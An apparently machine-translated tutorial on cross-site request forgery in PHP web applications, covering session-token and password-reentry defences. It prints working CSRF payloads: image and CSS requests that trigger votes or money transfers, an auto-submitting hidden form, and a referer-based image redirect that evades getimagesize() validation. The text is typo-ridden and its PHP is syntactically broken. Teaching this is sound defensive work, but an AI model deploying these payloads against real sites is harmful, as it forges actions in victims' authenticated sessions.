Behind the barbarian word (which is pronounced "Sea Surf"), hides a very real attack vector, and easier to exploit than XSS (and one does not exclude the other). CSRF is about abusing the site's trust in users; and it is a concern that any developer / architect... must have all the time.
A CSRF is an attack that forces a user to run queries to a site victim without his knowledge. Typically more these users have elevated privileges on the victim site, more the damage is. It is more difficult to detect beacuse attacks seems perfectly legitimate.
This is the classic example:
<img src="http://victimsite.com/vote.php?votefor=myself">
Displaying the image will generate a query on a site and vote for someone. Let us remember a site is a kind of black box, nothing is defined as to what does the request.
When the browser encounters "src=" for any type of resource (even css stylesheet files), it will perform a HTTP GET, as for calling a web page. Obviously it is assumed here that the code in the image has been inserted in such a forum, which is accepted in good standing. Attack can be more vicious when these images do not load and are not visible in the final rendering, whith a css attribute defined to "no":
<b style="background: url(\'http://abanksite.com/transfert_money.php?account=mine&amount=1000\')">
It is important to know that browsers makes basic HTTP requests and send the cookies it has to the target site (victimsite.com here). So if a session was in progress, it will be easily restored.
It is one reason why the use of PHP $_REQUEST is recommanded on handled GET data, because we do not know which method comes from the request, with such a variable. POST script is still available. A GET however does not trigger action on the remotre server (except in reading). But for any sensitive operation, POST must be used.
POST does not mean invulnerable, but more difficult to attack. To forge a POST, the best remains to recreate a form:
<form method="POST" name="acsrfform" action="http://www.avulnerablesite.com/admin.php">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="membrenum" value="3">
</form>
<script> document.acsrfform.submit ();</ script>
Here the HTTP request will look like this:
POST / admin.php HTTP/1.1
Host: avulnerablesite.com
Cookie: PHPSESSID = 7654
Content-Type: application / x-www-form-urlencoded
Content-Length: 25
action = delete & membrenum = 3
It is clearly a forgery, if this code is posted as is on a server, anyone reading it will send a POST request to a vulnerable site, with its cookies...
This can be hide in a zero size Iframe, and thus be invisible to the screen, but be still present.
Similarly, extensions such as liveHTTPHeader, or FireBug and TamperData, allow to generate POST requests (or other) to measure and watch live server response. PHP is also able to query a server, in many ways (sockets, CURL, HTTP extension).
CSRF attacks are dangerous to the extent that the attacker is at liberty to choose its targets. It can target sites that only certain users have access, such as those found on a local network, a user that browse between the local network and the Internet simultaneously, will be a good candidate gateway for external attacker.
Protections
There are two recommended protections against CSRF. First we recall that in no case a GET action can lead to action for change on the server, even for a simple index.php?Action = delete & member = 8!
For very important POST actions user must be asked to reenter password before committing those actions. This ensures that the request must be validated by the user before being treated (changes in a database, erasing data, transfer of funds).
Another less painful system for the user is the token recognition that uses the session. The goal is simply to ensure that the request is originated from the server application, and not from another remote site.
Recall that checking the Referer is not a security measure, it can be falsified relatively simply.
<form action="delete.php" method="post">
<input type = "hidden" name = "token" value = "" />
MemberID: <input type="text" name="memberid" /> <br />
<input type="submit" value="delete it" />
</form>
This action can somewhat generates a random token that is put in session, with current timestamp. The token is than moved in a POST variable.
It simply verifies that the token received by the POST, is the token in this session, which suggests that it is the same person who posted the form and sent it. At the same time, a valid token must not be leaved too long, its time must be limited to not more then 300 second (more than enough to fill a field in a form).
The token is a strong defense. You can always try to steal the user session, or either guess the token, but it is a good start and already closes many doors.
Large groups such as Google use very advanced techniques, based on not one but in general 3-4 cookies. Calculations involving checksums, time, the client browser and a bunch of parameters are then made for each request to ensure the legitimacy of the request. Ebay and hotmail systems also use this style.
Last but not least
I'll leave you to your hunger with a rather vicious CSRF to put the finger at the bottom of the wound, and raise awareness of the danger:
CSRF can be triggered on a forum that boasts to control whether images are linked images, this is an example of a disguised picture:
[img] http://www.mysite.com/images/watch_that_image.jpg [/img]
a BB code that inserts an image. The server checks that the image is a good extension (.jpg), because only JPG are accepted.
Apache may then be set up on mysite.com server this way:
RewriteEngine on
RewriteRule ^ /watch_that_image.jpg im_hacking_you.php
And im_hacking_you.php, write this:
header ("Location: http://awebsite.com/admin/delete_message.php?id=54");
Any use of this image on the forum redirect the request to a site that obviously erase a (n° = 54) message. If you want to prevent a person from triggering the attack every time the image is read, a cookie set with a timestamp can help in order to execute the attack only once, because whenever the query image is called, the cookie will be send from mysite domain.
Rather than just checking the extension, which in itself is absolutely not a guarantee of security (proof), the site in question may use a different process, for example the getimagesize() function in PHP. If the site wants to scan the image, it will then realize that there is a redirection and will invalidate the image (getimagesize() on something other than image returns FALSE, so it is quickly detected).
But when getimagesize() query the server, it sends into the HTTP header an empty referer, however, a user wanting to post the picture, originates from the site where it will display the image, and refer to it is not zero like this:
<?php
if (empty ($ _SERVER ['HTTP_REFERER']) {
header ("Content-Type: image / jpeg");
readfile (". / watch_that_image.jpg");
else {}
header ("Location: http://awebsite.com/admin/delete_message.php?id=54");
}
When the validation of the image is requested, the image will be supplied, but when a user will want to display it, the redirection will be provided to him, with again the CSRF.